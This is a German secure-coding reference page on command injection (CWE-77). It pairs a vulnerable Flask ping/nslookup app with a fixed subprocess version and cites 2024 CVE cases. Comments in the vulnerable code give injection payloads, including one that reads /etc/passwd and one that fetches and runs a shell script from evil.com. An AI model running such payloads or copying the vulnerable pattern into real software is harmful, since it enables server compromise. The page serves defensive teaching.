Unsachgemäße Neutralisierung von Spezialelementen in einem Befehl ('Command Injection')

Beschreibung

Command Injection ist eine kritische Schwachstelle, die auftritt, wenn Software einen Befehl ganz oder teilweise unter Verwendung von extern beeinflussten Eingaben einer vorgelagerten Komponente konstruiert, aber Spezialelemente, die den beabsichtigten Befehl bei der Ausführung modifizieren könnten, nicht oder nicht korrekt neutralisiert. Dies ermöglicht Angreifern, bösartige Befehle einzuschleusen, die vom zugrundeliegenden System mit denselben Privilegien wie die anfällige Anwendung ausgeführt werden. Command Injection unterscheidet sich von OS Command Injection (CWE-78) dadurch, dass sie die Injection in jeden Befehlsinterpreter umfasst, nicht nur Betriebssystem-Shells. Angreifer können dies ausnutzen, um beliebigen Code auszuführen, auf sensible Daten zuzugreifen, Systemkonfigurationen zu modifizieren oder andere Systeme im Netzwerk anzugreifen.

Risiko

Command Injection stellt eine der schwerwiegendsten Sicherheitsschwachstellen dar und rangiert konstant unter den gefährlichsten Software-Schwächen. Erfolgreiche Ausnutzung gewährt Angreifern die Fähigkeit, beliebige Befehle mit den Privilegien der Anwendung auszuführen, was oft zu vollständiger Systemkompromittierung führt. Angreifer können sensible Daten stehlen, Hintertüren installieren, Ransomware einsetzen oder das kompromittierte System als Ausgangspunkt für Angriffe gegen interne Netzwerke nutzen. Die Verbreitung dieser Schwachstelle in Netzwerkgeräten, Webanwendungen und IoT-Systemen bedeutet, dass Ausnutzung oft Zugang zu kritischer Infrastruktur ermöglicht. Laut CISA stellen Exploits von Software-Defekten einschließlich Command Injection jeden dritten erfolgreichen Angriff dar, was dies zu einem primären Ziel für opportunistische und gezielte Angriffe macht.

Lösung

Vermeiden Sie es, Befehle aus Benutzereingaben zu konstruieren, wann immer möglich. Verwenden Sie APIs, Bibliotheken oder Frameworks, die parametrisierte Schnittstellen bereitstellen, bei denen Befehle und Daten strikt getrennt sind, wie z.B. die Verwendung von Prepared Statements für Datenbankabfragen oder Subprocess-Module mit Argument-Arrays anstelle von Shell-Strings. Wenn Shell-Befehle notwendig sind, implementieren Sie strikte Eingabevalidierung mit Allowlists erlaubter Zeichen oder Werte anstatt Denylists. Escapen oder codieren Sie alle speziellen Shell-Zeichen einschließlich Semikolons, Pipes, Ampersands, Backticks, Dollarzeichen und Zeilenumbrüche, bevor Sie Benutzereingaben in Befehle einbinden. Führen Sie Anwendungen mit minimal notwendigen Privilegien aus, um die Auswirkungen bei Injection zu begrenzen. Erwägen Sie die Verwendung von Application-Sandboxing und Monitoring für verdächtige Befehlsausführungsmuster.

Häufige Auswirkungen

AuswirkungDetails
VertraulichkeitBereich: Vertraulichkeit

Angreifer können Befehle einschleusen, um sensible Dateien zu lesen, Datenbankinhalte zu dumpen, auf Anmeldedaten zuzugreifen oder Daten vom kompromittierten System zu exfiltrieren.
IntegritätBereich: Integrität

Eingeschleuste Befehle können Systemkonfigurationen modifizieren, Daten ändern, Malware installieren, Backdoor-Konten erstellen oder kritische Dateien beschädigen.
VerfügbarkeitBereich: Verfügbarkeit

Angreifer können Befehle ausführen, die Prozesse beenden, Dateien löschen, Ressourcen erschöpfen oder Ransomware einsetzen, was zu Denial-of-Service führt.
ZugriffskontrolleBereich: Zugriffskontrolle, Vollständige Systemkompromittierung

Command Injection führt typischerweise zu vollständiger Systemkompromittierung mit der Fähigkeit, jede Operation auszuführen, die die Anwendung durchführen kann.

Beispielcode + Lösungscode

Das folgende Beispiel zeigt eine anfällige Python-Webanwendung, die Systembefehle basierend auf Benutzereingaben ausführt:

Anfälliger Code

import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/ping')
def ping_host():
    # ANFÄLLIG: Benutzereingabe direkt in Shell-Befehl verkettet
    host = request.args.get('host', '')

    # Angreifer kann verwenden: host=8.8.8.8; cat /etc/passwd
    # Oder: host=8.8.8.8 && wget http://evil.com/shell.sh | bash
    # Oder: host=$(whoami)
    command = f"ping -c 3 {host}"
    result = os.popen(command).read()

    return f"<pre>{result}</pre>"

@app.route('/lookup')
def dns_lookup():
    # ANFÄLLIG: Shell=True mit benutzergesteuerter Eingabe
    domain = request.args.get('domain', '')

    # os.system() verwendet immer Shell, was Injection einfach macht
    os.system(f"nslookup {domain} > /tmp/lookup.txt")

    with open('/tmp/lookup.txt', 'r') as f:
        return f"<pre>{f.read()}</pre>"

if __name__ == '__main__':
    app.run()

Beide Funktionen sind anfällig für Command Injection. Ein Angreifer kann Shell-Metazeichen wie ;, &&, | oder $() anhängen, um zusätzliche Befehle einzuschleusen, die auf dem Server ausgeführt werden.

Korrigierter Code

import subprocess
import re
import shlex
from flask import Flask, request, abort

app = Flask(__name__)

# Allowlist-Muster für gültige Eingaben
HOSTNAME_PATTERN = re.compile(r'^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$')
IP_PATTERN = re.compile(r'^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$')

def is_valid_host(host):
    """Validiert, ob Host eine gültige IP-Adresse oder Hostname ist."""
    if not host or len(host) > 253:
        return False
    return bool(IP_PATTERN.match(host) or HOSTNAME_PATTERN.match(host))

@app.route('/ping')
def ping_host():
    host = request.args.get('host', '')

    # Strikte Eingabevalidierung mit Allowlist
    if not is_valid_host(host):
        abort(400, 'Ungültiges Host-Format')

    try:
        # subprocess mit Argumentliste verwenden - KEINE SHELL
        # Argumente werden direkt an das Programm übergeben, nicht durch Shell
        result = subprocess.run(
            ['ping', '-c', '3', host],
            capture_output=True,
            text=True,
            timeout=10
        )
        output = result.stdout if result.returncode == 0 else result.stderr
        return f"<pre>{output}</pre>"

    except subprocess.TimeoutExpired:
        abort(504, 'Operation Zeitüberschreitung')
    except Exception as e:
        app.logger.error(f"Ping-Fehler: {e}")
        abort(500, 'Interner Fehler')

@app.route('/lookup')
def dns_lookup():
    domain = request.args.get('domain', '')

    # Domain-Format validieren
    if not is_valid_host(domain):
        abort(400, 'Ungültiges Domain-Format')

    try:
        # subprocess.run mit Argumentliste anstelle von os.system verwenden
        # shell=False (Standard) verhindert Shell-Interpretation
        result = subprocess.run(
            ['nslookup', domain],
            capture_output=True,
            text=True,
            timeout=10
        )
        return f"<pre>{result.stdout}</pre>"

    except subprocess.TimeoutExpired:
        abort(504, 'Operation Zeitüberschreitung')
    except Exception as e:
        app.logger.error(f"Lookup-Fehler: {e}")
        abort(500, 'Interner Fehler')

# Für Fälle, in denen Shell absolut erforderlich ist (möglichst vermeiden):
@app.route('/example-with-escaping')
def example_with_escaping():
    user_input = request.args.get('param', '')

    # Eingabeformat zuerst validieren
    if not is_valid_host(user_input):
        abort(400, 'Ungültige Eingabe')

    # Wenn Shell erforderlich ist, shlex.quote() zum Escapen der Eingabe verwenden
    # Dies sollte ein letzter Ausweg sein, Argumentlisten sind sicherer
    safe_input = shlex.quote(user_input)

    result = subprocess.run(
        f"echo {safe_input}",
        shell=True,
        capture_output=True,
        text=True,
        timeout=5
    )
    return f"<pre>{result.stdout}</pre>"

if __name__ == '__main__':
    app.run()

Der korrigierte Code verwendet subprocess.run() mit Argumentlisten (shell=False standardmäßig), wodurch Argumente direkt an das Programm ohne Shell-Interpretation übergeben werden, was Injection unmöglich macht. Eingaben werden gegen strikte Allowlist-Muster validiert. Wenn Shell-Ausführung unvermeidbar ist, escaped shlex.quote() Spezialzeichen ordnungsgemäß, obwohl Argumentlisten stark bevorzugt werden.


Ausgenutzt in der Praxis

Palo Alto Networks GlobalProtect-Kampagne (Unternehmensnetzwerke, 2024)

CVE-2024-3400, eine kritische Command-Injection-Schwachstelle in Palo Alto Networks PAN-OS GlobalProtect-Funktion, wurde aktiv von Bedrohungsakteuren ausgenutzt, um Root-Zugriff auf Firewalls zu erlangen, die Unternehmensnetzwerke schützen. Die Schwachstelle in der SessionID-Behandlung ermöglichte nicht authentifizierten Angreifern die Ausführung beliebiger OS-Befehle. Nationalstaatliche Akteure nutzten diese Schwachstelle, um Hintertüren einzusetzen und Daten aus Regierungs- und Unternehmensnetzwerken weltweit zu exfiltrieren, was zu einer Notfall-CISA-Warnung führte.

Ivanti Connect Secure Massenausnutzung (Regierung & Unternehmen, 2024)

CVE-2024-21887, eine Command-Injection-Schwachstelle in Ivanti Connect Secure und Policy Secure Gateways, wurde in weit verbreiteten Angriffen ausgenutzt, die auf Regierungsbehörden und private Organisationen abzielten. Angreifer verketteten diese Schwachstelle mit einer Authentifizierungsumgehung, um nicht authentifizierte Remote-Code-Ausführung zu erreichen. CISA gab Notfalldirektiven heraus, als die Angriffe VPN-Appliances kompromittierten, die zum Schutz sensibler Netzwerkperimeter verwendet wurden, wobei chinesische Bedrohungsakteure als Hauptausnutzer identifiziert wurden.

Cisco NX-OS Netzwerkgerätekompromittierung (Kritische Infrastruktur, 2024)

CVE-2024-20399, eine Command-Injection-Schwachstelle in Cisco NX-OS Software CLI, wurde von der Velvet-Ant-Bedrohungsgruppe ausgenutzt, um Cisco Nexus-Switches in kritischen Infrastrukturnetzwerken zu kompromittieren. Die Schwachstelle ermöglichte authentifizierten Administratoren (oft durch zuvor gestohlene Anmeldedaten) die Ausführung von Befehlen als Root auf dem zugrundeliegenden Linux-Betriebssystem. Angreifer nutzten diesen Zugriff, um maßgeschneiderte Malware einzusetzen und dauerhaften Zugriff auf Netzwerkinfrastruktur zu etablieren.


Tools zum Testen/Ausnutzen

  • Commix — automatisiertes Command-Injection-Ausnutzungstool, das Command-Injection-Schwachstellen über verschiedene Techniken erkennt und ausnutzt, einschließlich zeitbasierter, dateibasierter und direkter Ausgabemethoden.

  • Burp Suite — Webanwendungs-Sicherheitstestplattform mit aktivem Scanning für Command Injection und manuellen Testfähigkeiten zum Erstellen von Injection-Payloads.

  • PayloadsAllTheThings — umfassende Sammlung von Command-Injection-Payloads für verschiedene Betriebssysteme, Shells und Bypass-Techniken.


CVE-Beispiele

  • CVE-2024-3400 — Palo Alto Networks PAN-OS GlobalProtect Command Injection ermöglicht nicht authentifizierten Root-Zugriff auf Firewalls.

  • CVE-2024-21887 — Ivanti Connect Secure Command Injection in Webkomponente ermöglicht authentifizierte Remote-Code-Ausführung.

  • CVE-2024-20399 — Cisco NX-OS CLI Command Injection ermöglicht Root-Level-Befehlsausführung auf Netzwerk-Switches.

  • CVE-2021-44228 — Log4Shell-Schwachstelle ermöglicht Command Injection durch JNDI-Lookup in Log-Nachrichten.


Referenzen

  1. MITRE. "CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')." Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/77.html

  2. OWASP. "Command Injection." OWASP Foundation. https://owasp.org/www-community/attacks/Command_Injection

  3. HackTricks. "Command Injection." https://book.hacktricks.xyz/pentesting-web/command-injection

  4. CISA. "Secure by Design Alert: Eliminating OS Command Injection Vulnerabilities." https://www.cisa.gov/news-events/alerts/2024/07/10/cisa-and-fbi-release-secure-design-alert-eliminating-os-command-injection-vulnerabilities